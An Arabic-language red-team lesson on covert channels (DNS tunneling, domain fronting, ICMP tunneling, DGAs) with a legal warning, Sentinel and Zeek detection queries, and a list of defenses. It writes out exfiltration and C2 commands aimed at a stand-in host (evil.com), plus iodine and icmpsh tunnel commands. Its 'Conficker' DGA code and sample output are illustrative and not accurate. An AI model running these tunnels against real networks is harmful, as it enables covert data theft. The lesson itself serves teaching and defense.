الفرق الحمراء — الهجومخبير70mL56

القنوات السرية ونفق بيانات DNS

تسريب البيانات عبر DNS واستخدام بروتوكولات ICMP/HTTPS

#DNS#Tunneling#Exfil#DGA#Iodine

لماذا القنوات السرية تخيف الـ Blue Team

Firewall ينظر للبروتوكول و الوجهة. EDR ينظر للعمليات. لكن القناة السرية تختبئ داخل بروتوكول مسموح — DNS, HTTPS, ICMP — و تنقل بيانات مع كل packet عادي. النتيجة: تسريب gigabytes أمام الحارس دون أن يرى شيئاً.

تشبيه — شرح مبسط
مثل تهريب رسالة في رحلة ركّاب عادية: لا أحد يفتش الجميع، فالحرف الأول من كل صف على ورقة الصعود يهجّى رسالة كاملة. الـ traffic شرعي 100% — لكن المعلومة سرية تماماً.
تحذير قانوني
تشغيل DNS tunnel على شبكة لا تملك إذناً صريحاً عليها = جريمة. هذا الدرس للاختبار في lab خاص، أو ضمن نطاق Pentest مكتوب.

DNS — لماذا خادم سحري للمهاجم

  • مسموح دائماً. أي جهاز يحتاجه. حظره يكسر الإنترنت.
  • Recursive من خلال DNS resolver داخلي. حتى لو حُظر الخروج المباشر، الـ resolver يفعل ذلك بالنيابة عنك.
  • كثيف جداً. ضوضاء حقيقية تخفي ضوضاء خبيثة.
  • سجلات نادراً ما تُحلّل بعمق. أكثر فرق Blue Team تجمع NetFlow و proxy logs لكن لا تنظر داخل DNS queries.

ميكانيكا DNS Tunneling

المهاجم يملك authoritative DNS لـ evil.com. الجهاز المخترق يرسل بيانات في اسم النطاق الفرعي:

text
# Exfil — البيانات → subdomain encoded
ZGF0YS10by1leGZpbA.evil.com
[base32-data].evil.com

# Beacon C2 — أوامر تأتي في TXT/CNAME response
$ dig TXT cmd.evil.com
;; ANSWER SECTION:
cmd.evil.com.  60  IN  TXT  "exec:whoami"

الـ resolver الداخلي يحوّل الاستعلام إلى ns.evil.com (الذي يسيطر عليه المهاجم). البيانات تصل عبر هذا الجسر.

$ # مثال عملي بـ iodine (الأقدم و الأشهر)
$ # على الخادم (المهاجم):
$ iodined -f -c -P p4ssw0rd 10.0.0.1 t.evil.com
$ # على العميل (المخترَق):
$ iodine -f -P p4ssw0rd t.evil.com
$ # الآن لديك tunnel كامل عبر DNS فقط — IP routing فوقه

أدوات شائعة

iodine
IP-over-DNS كامل. سرعة معقولة (~100KB/s). كشف سهل من حجم الـ subdomains.
dnscat2
C2 channel فقط (لا full IP). إخفاء أفضل، أبطأ. يُستخدم بكثرة في pentests.
Cobalt Strike DNS Beacon
C2 احترافي. تحكّم بـ A/AAAA/TXT records و معدلات الـ beacon.
DNScat-powershell
تنفيذ بدون binaries — كل شيء PowerShell. مناسب لـ environments محظور فيها downloads.
OOB via DNS (sslip.io / interactsh)
استخراج بيانات من SSRF / blind XSS — نسخة بسيطة، packet واحد لكل قطعة.
Sliver DNS C2
C2 framework حديث مفتوح المصدر، DNS من ضمن transports مدعومة.

HTTPS / HTTP/3 — قناة الجيل الجديد

DNS tunneling قديم. الموجة الحالية: Domain Fronting + HTTPS C2 فوق CDN معروف (CloudFront, Fastly).

text
# Domain Fronting (بات أصعب لكن لا يزال يحدث على بعض CDNs)
# SNI:   cdn.legitimate-site.com    ← ما يراه firewall
# Host:  c2.evil.com                ← ما يصل للـ origin

curl --resolve cdn.legitimate-site.com:443:1.2.3.4 \
  -H "Host: c2.evil.com" \
  https://cdn.legitimate-site.com/
  • الـ TLS مشفّر → يخفي Host header عن middleware عادي.
  • HTTP/3 (QUIC) فوق UDP/443 — كثير من الـ middleboxes لا تفكّه.
  • Encrypted Client Hello (ECH) — يخفي حتى SNI. الموجة القادمة من القنوات السرية.

ICMP و بروتوكولات أخرى

bash
# ICMP tunneling — البيانات في data field من ping
# server
icmpsh-m.py 0.0.0.0

# client (Windows victim)
icmpsh.exe -t 1.2.3.4 -d 500 -b 30 -s 128

# WebSocket — داخل WSS صعب التمييز عن traffic عادي
# SMTP/IMAP — exfil في email drafts (kept on server, never sent)
# NTP — حقول options نادراً ما تُفحص

DGAs — Domain Generation Algorithms

بدلاً من C2 ثابت يسهل حظره، malware يولّد آلاف أسماء نطاقات يومياً. واحد منها فقط مُسجّل من المهاجم. مثال (Conficker):

python
import datetime
import hashlib

def conficker_domains(date, count=250):
    seed = date.strftime("%Y-%m-%d").encode()
    domains = []
    for i in range(count):
        h = hashlib.md5(seed + i.to_bytes(2, 'big')).hexdigest()[:8]
        tld = ['.com','.net','.org','.info','.biz'][i % 5]
        domains.append(h + tld)
    return domains

print(conficker_domains(datetime.date(2026, 4, 30))[:5])
# ['a1b2c3d4.com', '5e6f7g8h.net', ...]

Fast Flux: نفس النطاق يتغيّر IP الخاص به كل بضع دقائق (TTL منخفض، آلاف bots كـ proxy).

الكشف — كيف يصطاد الـ Blue Team هذه

مؤشّرات DNS tunneling
  • Subdomain length — أكثر من 50 حرفاً نادر جداً في DNS طبيعي.
  • Entropy — أسماء عشوائية (e.g. af83hd92lqx) لها entropy عالية. حسابها سهل (Shannon).
  • Query rate — جهاز يستعلم 5000 query لنفس النطاق في ساعة = شاذ.
  • Unique subdomains — >100 unique subs لـ one parent domain من client واحد = إنذار.
  • NXDOMAIN ratio — DGAs تنتج NXDOMAINs كثيرة (نطاقات لم تُسجّل بعد).
  • TXT/NULL records مفرطة — مستخدمة لـ exfil كميات أكبر.
kql
// Microsoft Sentinel — كشف entropy عالي في subdomains
DnsEvents
| where TimeGenerated > ago(1h) and SubType == "LookupQuery"
| extend Subdomain = extract(@"^([^.]+)\.", 1, Name)
| extend Length = strlen(Subdomain)
| where Length > 30
| extend Entropy = todouble(strlen(replace_regex(Subdomain, @"[^a-z0-9]", ""))) / Length
| summarize Queries=count(), AvgLen=avg(Length) by ClientIP, Domain=extract(@"\.([^.]+\.[^.]+)$", 1, Name)
| where Queries > 50 and AvgLen > 30
| order by Queries desc
bash
# Zeek — قواعد دفاعية حول DNS
# zeek-cut من dns.log
cat dns.log.gz | zcat | zeek-cut id.orig_h query | \
  awk '{print $1, length($2)}' | \
  awk '$2 > 50 {count[$1]++} END {for (i in count) if (count[i] > 100) print i, count[i]}'

الدفاع — بناء مظلة

  1. DNS مركزي. لا تسمح للـ endpoints بـ DNS مباشر. كل شيء عبر resolver داخلي يسجّل بالكامل.
  2. DNS Firewall (RPZ) — حظر nationally bad TLDs و categories معروفة سيئة.
  3. Threat Intelligence feeds — قائمة DGA domains (DGArchive, dnsdb) → block.
  4. Egress filtering — منع DoH/DoT المباشر (UDP/853, well-known DoH endpoints) إلا للـ resolver.
  5. TLS Inspection حيث ممكن قانونياً — يفكّ Domain Fronting.
  6. Beaconing detection — RITA, Zeek + Spicy تكشف الـ jitter المنتظم.
  7. Anomaly ML — Cloudflare/Akamai/Microsoft Defender for DNS يحوي نماذج جاهزة لـ DGA و tunneling.
MITRE ATT&CK
T1071.004 (Application Layer Protocol: DNS) · T1572 (Protocol Tunneling) · T1568.002 (DGA) · T1132 (Data Encoding) · T1041 (Exfiltration over C2 Channel).

ميدان التدريب — ما تحتاج لتجرّب

  • Lab: domain خاصة بك ($10/سنة)، VPS بسيط، ضحية افتراضية.
  • أدوات: iodine, dnscat2, Sliver، interactsh للـ OOB البسيط.
  • تحليل: Wireshark + Zeek + RITA على الـ pcap.
  • قياس: قارن DNS query rate قبل و أثناء الـ tunnel — هذا يعلّم Blue Team.
الخلاصة
لا يوجد دفاع واحد ضد القنوات السرية. الفلسفة الصحيحة: visibility كاملة على كل egress، baseline لكل host، تنبيه على الانحرافات. عند هذا المستوى، DNS tunnel يصبح ضوضاء فوق ضوضاء — و الضوضاء فوق الضوضاء تظهر.